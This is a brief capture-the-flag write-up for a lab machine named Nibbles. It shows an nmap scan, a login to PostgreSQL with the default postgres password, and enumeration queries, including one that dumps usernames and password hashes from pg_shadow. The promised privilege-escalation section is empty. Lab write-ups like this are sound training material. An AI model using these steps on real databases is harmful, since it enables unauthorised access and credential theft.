Nibbles
SUID misconfiguration in `find` binary led to privEsc
Summary
π§΅ Let's Unpack
π Enumeration
sudo nmap -A -T4 -sC -sN -oN nmapFull -p 21,22,80,139,445,5437 192.168.197.47π PostgreSQL Enumeration & Exploitation
# connecting with default password
psql -h 192.168.197.47 -p 5437 -U postgres
# Commands
\list # list db
\c <database> # use the db
\d # list tables
\du # get user roles
SELECT user # get current user
# Get current database
SELECT current_catalog;
# List schemas
SELECT schema_name,schema_owner FROM information_schema.schemata;
\dn+
#List databases
SELECT datname FROM pg_database;
#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;
# Get languages
SELECT lanname,lanacl FROM pg_language;
# Show installed extensions
SHOW rds.extensions;
SELECT * FROM pg_extension;
# Get history of commands executed
\sPrivilege Escalation
Last updated